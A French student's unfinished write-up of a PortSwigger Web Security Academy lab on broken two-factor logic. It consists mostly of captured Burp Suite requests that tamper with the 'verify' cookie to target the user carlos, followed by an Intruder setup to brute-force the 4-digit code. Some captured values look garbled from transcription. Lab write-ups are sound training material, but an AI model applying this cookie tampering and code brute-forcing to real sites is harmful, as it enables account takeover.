

Lab- 2FA broken logic

lundi 4 août 2025 22:13

Lab: 2FA broken logic

INACTIVATION

LAB Not solved

This lab's two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos's account page.

- Your credentials: `wiener:peter`
- Victim's username: `carlos`

Le but de ce lab est d'utiliser la vulnérabilité du cookie pour se connecter sur le compte d'un autre user.

Login

Username

wiener

Password

Log in

Request

PrettyRawHex

1 POST /login HTTP/2

2 Host: 0ac700b6043aa55083ca418900580006.web-security-academy.net

3 Cookie: verify=wiener; session=OkpsVYtCBAdOVjsBTpo2lIngj2vdiE1CVw

4 Content-Length: 30

5 Cache-Control: max-age=0

6 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"

7 Sec-Ch-Ua-Mobile: 70

8 Sec-Ch-Ua-Platform: "Windows"

9 Accept-Language: fr-FR, fr;q=0.9

10 Origin: https://0ac700b6043aa55083ca418900580006.web-security-academy.net

11 Content-Type: application/x-www-form-urlencoded

12 Upgrade-Insecure-Requests: 1

13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-Mode: navigate

17 Sec-Fetch-User: ?1

18 Sec-Fetch-Dest: document

19 Referer: https://0ac700b6043aa55083ca418900580006.web-security-academy.net/login

20 Accept-Encoding: gzip, deflate, br

21 Priority: u=0, i

22 username=wiener&password=peter

23

Response

PrettyRawHexRender

1 HTTP/2 302 Found

2 Location: /login2

3 Set-Cookie: verify=wiener; HttpOnly

4 Set-Cookie: session=lxixnyUXHGpLc1EFkTAMBpJelzPBngS;

5 Secure; HttpOnly; SameSite=None

6 X-Frame-Options: SAMEORIGIN

7 Content-Length: 0

8

On arrive sur la page qui nous demande de rentrer le code de vérification :

Web Security Academy

2FA broken logic

LAB Not solved

Back to lab home

Email client

Back to lab description

Home | My account

Please enter your 4-digit security code

Login

On va sur notre mail :

Your email address is wiener@exploit-0a62002a04dba500830c401d01640040.exploit-server.net

Displaying all emails @exploit-0a62002a04dba500830c401d01640040.exploit-server.net and all subdomains

Sent	To	From	Subject	Body
				Hello!
				Your security code is 0175.
2025-08-04 20:20:07 +0000	wiener@exploit-0a62002a04dba500830c401d01640040.exploit-server.net	no-reply@0ac700b6043aa55083ca418900580006.web-security-academy.net	Security code	Please enter this in the app to continue. Thanks, Support team
				Hello!
				Your security code is 0172.
2025-08-04 20:16:35 +0000	wiener@exploit-0a62002a04dba500830c401d01640040.exploit-server.net	no-reply@0ac700b6043aa55083ca418900580006.web-security-academy.net	Security code	Please enter this in the app to continue. Thanks, Support team
				Hello!
				Your security code

Et c'est là où la magie commence :

Request

PrettyRawHex

```
1 POST /login2 HTTP/2
2 Host: 0ac700b6043aa55083ca418900580006.web-security-academy.net
3 Cookie: verify=carlos; session=0Vsn6cVyeRdyCcuHsqjRxvyGuo2XoFO
4 Content-Length: 13
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not(A;Brand";v="8", "Chromium";v="138"
7 Sec-Ch-Ua-Mobile: 70
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: fr-FR,fr;q=0.9
10 Origin: https://0ac700b6043aa55083ca418900580006.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0ac700b6043aa55083ca418900580006.web-security-academy.net/login2
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22 mfa-code=0826
```

Response

InspectorNotesCustom actions

Please enter your 4-digit security code

0826

Login

PrettyRawHex

```
1 POST /login HTTP/2
2 Host: 0ac700b6043aa55083ca418900580006.web-security-academy.net
3 Cookie: verify=carlos; session=XQcHnBrgRk5Vpvj1N1wcVUn13iBXugoT
4 Content-Length: 30
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not(A;Brand";v="8", "Chromium";v="138"
7 Sec-Ch-Ua-Mobile: 70
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: fr-FR,fr;q=0.9
10 Origin: https://0ac700b6043aa55083ca418900580006.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0ac700b6043aa55083ca418900580006.web-security-academy.net/login
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22 username=wiener&password=peter
```

Response

PrettyRawHexRender

1 HTTP/2 302 Found

2 Location: /login2

3 Set-Cookie: verify=viener; HttpOnly

4 Set-Cookie: session=

5 X-Frame-Options: SAMEORIGIN

6 Content-Length: 0

7

8

Request

PrettyRawHex

1 GET /login2 HTTP/2

2 Host: 0ac700b6043aa55083ca418900580006.web-security-academy.net

3 Cookie: verify=carlos; session=XQcHnDpRk5Vpj1M1wcVUn131BXuGoT

4 Cache-Control: max-age=0

5 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="130"

6 Sec-Ch-Ua-Mobile: 70

7 Sec-Ch-Ua-Platform: "Windows"

8 Accept-Language: fr-FR,fr;q=0.9

9 Origin: https://0ac700b6043aa55083ca418900580006.web-security-academy.net

10 Upgrade-Insecure-Requests: 1

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

13 Sec-Fetch-Site: same-origin

14 Sec-Fetch-Mode: navigate

15 Sec-Fetch-User: ?1

16 Sec-Fetch-Dest: document

17 Referer: https://0ac700b6043aa55083ca418900580006.web-security-academy.net/login

18 Accept-Encoding: gzip, deflate, br

19 Priority: u=0, i

20

21

Response

PrettyRawHexRender

2FA broken logic

LAB Not solved

Back to lab home

Email client

Back to lab description

Home | My account

Please enter your 4-digit security code

Login

Bon ici on a pu accéder à la demande de vérification avec le code donc ça veut dire qu'on a envoyé un mail avec un code au user Carlos. On peut essayer de brute forcer vu qu'on a pas accès à son mail.

Intercept HTTP history WebSockets history Match and replace Proxy settings

Intercept on Forward Drop Open browser

ne	Type	Direction	Method	URL	Status code	Length
Intercept is on Messages between Burp's browser and your target servers are held here. This enables you to analyze and modify these messages, before you forward them. Learn more Open browser						

WebSecurity Academy

2FA broken logic

Back to lab home

Email client

Back to lab description

Please enter your 4-digit security code

1234

Login

Sniper attack Start attack

target https://0ac700b6043aa55083ca418900580006.web-security-academy.net Update Host header to match target

positions Add \$ Clear \$ Auto \$

POST /login2 HTTP/2

Host: 0ac700b6043aa55083ca418900580006.web-security-academy.net

Cookie: verify=viener; session=UOFcPL0IQJTFrBnDDX2xUDVPgbKX5z

Content-Length: 13

Cache-Control: max-age=0

Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Windows"

Accept-Language: fr-FR,fr;q=0.9

Origin: https://0ac700b6043aa55083ca418900580006.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://0ac700b6043aa55083ca418900580006.web-security-academy.net/login2

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

mfa-code=12345

Payloads

Payload position: All payload positions

Payload type: Brute forcer

Payload count: 10,000

Request count: 10,000

Payload configuration

This payload type generates payloads of specified length

Character set: b123456789

Min length: 4

Max length: 4

Payload processing

You can define rules to perform various processing tasks

Add Edit Remove Up Down

Enabled

Idem vu que je n'ai pas burpsuite pro c'est juste galère à résoudre ce chall donc go le refaire plus tard, un jour.